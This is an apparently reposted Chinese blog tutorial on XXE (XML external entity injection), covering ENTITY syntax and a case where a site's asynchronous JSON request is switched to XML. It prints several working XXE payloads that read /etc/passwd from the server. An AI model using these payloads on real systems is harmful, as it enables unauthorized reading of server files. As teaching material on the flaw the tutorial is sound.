首页 > 其他 > 详细

XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

时间:2017-09-26 20:38:12      阅读:2177      评论:0      收藏:0      [点我收藏+]

ENTITY 实体 
在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。 
XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。 
ENTITY的定义语法:

<!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ]>

 

xml entity 可以读取外置文件,其实entity作用相当于定义全局变量和引用外部文件

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///xxxx" >]>引用外部文件

<!DOCTYPE netspi [<!ENTITY xxe "hello" >]> 全局变量

在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

 

<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

技术分享

网址地址:

技术分享

抓包数据如下:

技术分享

技术分享

构造xml注入脚本

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Agoly [ <!ELEMENT Agoly ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><Agoly>&xxe;</Agoly>

技术分享

技术分享

脚本2:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Agoly [ <!ELEMENT Agoly ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

技术分享

 

http://www.cnblogs.com/vincebye/p/7199290.html

XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

原文:http://www.cnblogs.com/qmfsun/p/7598359.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!